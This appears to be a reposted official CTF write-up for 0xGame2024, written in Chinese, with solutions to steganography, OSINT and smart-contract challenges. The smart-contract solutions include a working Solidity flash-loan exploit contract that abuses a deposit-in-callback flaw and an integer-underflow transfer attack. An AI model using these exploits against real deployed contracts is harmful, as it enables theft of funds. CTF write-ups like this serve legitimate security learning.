# 0xGame2024
搬运的官方 WP(部分)
# MISC
# 加密的压缩包?
⽤ 010editor 查看,压缩包末尾给了⼀个 password,可知这个压缩包原本应该是被加密了的。
但是从 加密标识位(下图选中部分)来看,这⾥是被设置成了未加密,因此这⾥其实是个伪不加密。


将加密位改为 09 以后保存,输⼊密码 0xGame2024 即可解压

# 报告哈基⽶
题⽬附件只给了⼀个 mijiha.png ,拖⼊ 010 Editor 看⼀下,⼀眼就能看⻅⽂件尾的逆置字符串,再关注⼀下 chunk 块就能发现倒数第⼆个 IDAT 块未满的情况下还跟了⼀个 IDAT 块,不过其实眼神好⼀些可以直接注意到上⽅的 txt.ahijim :

先对⽂件尾的字符串逆置⼀下可以得到:
Maybe You Need To Know Arnold Cat?
查阅资料可以知道这是猫映射变换,可以进⾏逆变换,不过需要知道 a,b 参数以及
shuffle_times 置乱次数 ,经过⼀些尝试可以发现这些参数通过 LSB 隐写进图⽚中了,可以⽤
stegsolve,也可以⽤ zsteg:

之后编写脚本或者直接在⽹上找到逆变换脚本即可解出 flag 前半部分(这里找脚本花了点时间,不然应该是 3 血...):
from PIL import Image
def arnold_decode(image,a,b):
decode_image = Image.new(image.mode, image.size)
h,w = image.size
data = image.load()
ddata = decode_image.load()
N = h
for y in range(h):
for x in range(w):
nx = ((a * b + 1) * x - b * y) % N
ny = (y - a * x) % N
ddata[ny, nx] = data[y, x]
return decode_image
img = Image.open("mijiha.png")
origin_img = arnold_decode(img,35,7) //a和b的值
origin_img.show()

再分析多出来的 chunk 块,仔细观察可以发现是 zip 逆置了,提取出来:

解压得到 mijiha.txt :
?reppuT sihT sI
2526565031717334081355849302824518400002066054780560033875031426082285618693525
3197947986260660061254903632195060862841955904524591906806462061364308502305093
2619286392265892437331136910010009953251537997460505708306515998831852308855434
2510823923801250157027140252790785117812414283997607047894726844336402237327944
2990707067394596729387386831719959265436919835123671909480195776896949753133113
1678724441340620116821065803071781191275190780231200490991180560260984739111695
0248882484065492329404895296665244558410377999740959307786584149849
同样将其整段逆置:
9489414856877039590479997730148554425666925984049232945604842888420596111937489
0620650811990940021320870915721911871703085601286110260431444278761311331357949
6986775910849091763215389196345629599171386837839276954937607070992449723732204
6334486274987407067993824142187115870972520417207510521083293280152434558803258
1388995156038075050647997351523599000100196311337342985622936829162390503205803
4631602646086091954254095591482680605912363094521600660626897497913525396816582
2806241305783300650874506602000048154282039485531804337171305656252
Is This Tupper?
查找 Tupper 相关资料,发现有在线⼯具可以直接解,拿到 flag 后半部分:

或者在 github 上也能找到相关项⽬ https://github.com/cariad/tupper:

# Blockchain
# 肘,上链!
此题可以参考这一题:https://blog.csdn.net/Nanian233/article/details/134053768
- 先 nc 创建账户
![QQ20241120-102604.png]()
- 拿给的账号去⽔⻰头上接⼀下⽔(接水的地址题目会给)
![QQ20241120-102705.png]()
- 部署题⽬合约
![QQ20241120-102756.png]()
- 打开 metamask(⼀个浏览器插件),如下图连接到 RPC,其中链 ID 随便填⼀个它就会告诉你正确的链 ID
![QQ20241121-101856.png]()
- 切换到该⽹络,拿⾃⼰的账⼾也去⽔⻰头上接⼀下⽔
![QQ20241121-101953.png]()
- 获取⼀下题⽬合约
![QQ20241121-101856.png]()
- 打开 remix,这⾥新建⼀个⽂件,把题⽬合约复制过去,这里 remix 的操作不会的可以参考 CSDN 的博客内容。
![QQ20241121-102157.png]()
- 选择相应的版本,编译合约
![QQ20241121-102320.png]()
- Environment 中选择 Injected Provider - MetaMask,注意 metamask 的⼩窗⼝要点开看⼀下是否连接成功
![QQ20241121-102409.png]()
- 将前⾯ nc 时给的合约地址复制过来到 At Address ⾥⾯,点击 At Address
![QQ20241121-102457.png]()
- 题⽬的合约代码很简单,要求传的值需要与 Hello0xBlockchain 的
keccak256哈希值相同,这⾥⽤ web3py 计算⼀下,或者在线网站计算一下都可以。from web3 import Web3 s=b"Hello0xBlockchain" w3 = Web3() hash_bytes = w3.keccak(s) hash_hex = hash_bytes.hex() print(hash_hex) - 得到的结果复制到 sign ⾥⾯,前⾯记得加上 0x,然后点击 sign,中间有个交易的对话框,确认⼀下
![QQ20241121-102719.png]()
- 点击
isSolved,看到值已经返回了 true
![QQ20241121-102815.png]()
- 回到 nc 那边,get flag
![QQ20241121-102900.png]()
# theft
通过在 execute 中执⾏ deposit,来替代还款,从⽽可以达到借了就还但是⾃⼰的余额越来越多
Exp:
// SPDX-License-Identifier: UNLICENSED
pragma solidity ^0.8.0;
interface FlashLoan {
function deposit() external payable;
function withdraw() external;
function flashLoan(uint256 amount) external;
}
contract Exp {
FlashLoan public FL;
constructor(address _addr) {
FL = FlashLoan(_addr);
}
function attack() external {
for(int i = 0; i < 9; i++){
FL.flashLoan(100 ether);
}
FL.flashLoan(99 ether);
}
function execute() external payable {
FL.deposit{value: msg.value}();
}
}
先 at address 部署 Setup.sol 获取 target 地址,然后填⼊构造函数部署再调⽤ attack 即可
# OSINT
# 互联⽹的⼀⻆
访问题⽬⻚⾯,摁 F12 就可以看到前端有注释

这⾥的注释指的是要求查询 CNAME 记录,后⾯上的 hint 中也给出了。查询 CNAME 记录的⽅法其实有很多,ping、nslookup、dig 等等都可以,最简单的就是这⾥直接 ping ⼀下。

对于.github.io,如果有经验的话⼀眼就知道这是 github pages。如果不知道,查找⼀下也很快能得知,这是 github 上⼀个叫做 oxg4me2024 的⽤⼾搭建的⻚⾯,去 github 上搜索⼀下这个⽤⼾。

⼀路顺藤摸⽠找进去,可以找到 flag.txt

但是 flag.txt 的内容并不是 flag,这⾥点击右上⻆的 History,查询这个⽂件的修改历史即可看到 flag


# 我哪来那么多臭钱??
具体的部署等操作这⾥就不再赘述了,参考前几题。
// SPDX-License-Identifier: UNLICENSED
pragma solidity ^0.7.0;
contract Challenge {
mapping(address => uint256) public balance;
bool public solve;
constructor() {}
function Get() public {
balance[msg.sender] = 50;
}
function Transfer(address to, uint256 amount) public {
require(amount > 0, "Man!");
require(balance[msg.sender] > 0, "What can I say");
require(balance[msg.sender] - amount > 0, "Mamba out!");
require(uint160(msg.sender) % (16*16) == 239, "Sometimes I ask myself,who am i?");
balance[msg.sender] -= amount;
balance[to] += amount;
}
function check() public {
require(balance[msg.sender] == 114514);
solve=true;
}
function isSolved() public view returns (bool) {
return solve;
}
}
先来看合约代码。Get 函数为初始化 balance 为 50,check 函数为检查余额是否为 114514,当余额为 114514 时,isSolved 函数返回 true。
主要是 Transfer 函数,⽤于向某个地址转账,但这⾥做了⼀系列的限制。要求转账⾦额、转账前余额、转账后余额都⼤于 0,另外要求当前发起转账的⽤⼾地址后两位为 ef。
这⾥有两个考点,⼀个是整数溢出,我们可以注意到 solidity 版本为 0.7.0,balance 和 amount 的类型都为 uint256,即数据⼤⼩在 0~2256 之间。代码中有 balance [msg.sender] - amount > 0 的要求,但是如果 amount > balance [msg.sender],那么会发⽣什么?显然值并不会变为负数,这⾥值会直接变成 2256 - amount + balance [msg.sender]。因此,我们只要使 amount 的值为 2**256-114514+50 即可。这⾥其实有些师傅是想复杂了。
另外⼀个考点其实是虚荣地址(vanity address),也就是后来给的 hint 中所指的。虚荣地址就是⽤⼾
⾃⼰⽣成的具有某⼀特殊组合的地址,google ⼀下其实不难找到有⼀个在线⽹站可以⽣成虚荣地址,如下图所⽰。

但其实⾃⼰或者让 GPT 帮忙搓⼀个脚本其实也不难.
from eth_account import Account
import secrets
def find_address_ending_with_ef():
while True:
private_key = '0x' + secrets.token_hex(32)
account = Account.from_key(private_key)
address = account.address
if address.endswith('ef'):
return private_key, address
private_key, address = find_address_ending_with_ef()
print(f"Private Key: {private_key}")
print(f"Address: {address}")
接下来导⼊私钥就可以⽤了。
先 get

然后 transact,to 的地址随便填就⾏

再 check,可以看到 isSolved 返回了 true

拿到 flag













